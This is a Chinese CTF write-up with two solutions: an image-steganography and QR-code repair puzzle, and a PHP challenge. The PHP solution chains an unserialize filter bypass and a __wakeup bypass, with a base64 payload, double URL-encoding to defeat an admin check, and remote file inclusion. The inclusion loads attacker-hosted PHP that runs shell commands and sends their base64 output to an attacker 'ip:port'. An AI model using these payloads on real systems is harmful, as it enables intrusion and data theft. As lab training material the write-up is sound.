Noglues

Do you like Dragons?

  1. 文件尾后可找到原图网址,右键保存至本地

  2. Stegsolve -> Analyse -> Image Combiner -> SUB/SUB(R,G,B separate) -> solved.bmp 图片右下方有明显猫腻

  3. 注意到白色色块有二维码定位块的特征,通过PS抠图拼接外加手动转图,得到一张有一定二维码特征但不是二维码的码(手动转图是因为一开始拼完之后,即使反色也扫不出来,一气之下手动画出正常“二维码”,即便如此依然无济于事,遂有第4步查询资料)

    avatar

  4. 进一步修复二维码参考资料:二维码之QR码生成原理与损坏修复 - luogi - 博客园 (cnblogs.com)

  5. 将二维码分割为3*3的块,通过上一条的特征重新排序,可得正常的二维码,扫描得flag:flag{1v0ry_7ow3R}

    avatar

Cipher

小张刚学了一些PHP知识,你能找漏洞吗?。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
// u can find something in getflag.php
$this->file = 'index.php';
}
}
}

if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
}
else {
unserialize($var);
}
}
else {
highlight_file("index.php");
}
?>

1.反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Demo {
private $file;
public function __construct($file) {
$this->file = $file;
}
}

$A = new Demo('getflag.php');
$C = serialize($A);
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
var_dump(base64_encode($C));
?>
// ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxMToiZ2V0ZmxhZy5waHAiO30=

传参获得getflag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if("admin" === $_REQUEST['name']) {
echo("<p> not allowed! </p>");
exit();
}
echo $_REQUEST['h'];

$_REQUEST['name'] = urldecode($_REQUEST['name']);
if($_REQUEST[name] == "admin") {
echo("<p> u are admin! </p>");
if($_REQUEST['page'] != "") {
$page=$_REQUEST['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
echo $page;
include($page);
}
} else {
echo("<p> not admin! </p>");
}
?>

2.文件包含外带

name=admin两次url编码,过掉一重

1
%2561%2564%256d%2569%256e

文件包含出现了问题,不懂原理,只贴操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
使用vscode
1.在本地创建index.html

2.里面放
<?php
echo 1;
file_get_contents("http://ip:port/2".base64_encode(`命令`));
ip:port根据cmd ipconfig决定,10开头的

3.终端输入python -m http.server 9998

4.http://172.37.36.215:9003/getflag.php?name=%2561%2564%256d%2569%256e&page=http://ip:port
(post:1=ls)

5.利用hackbar,记得删除多余的参数,不然环境会爆炸

6.就可以在终端看到base加密的结果,最终flag在/var目录下的以flag开头的文件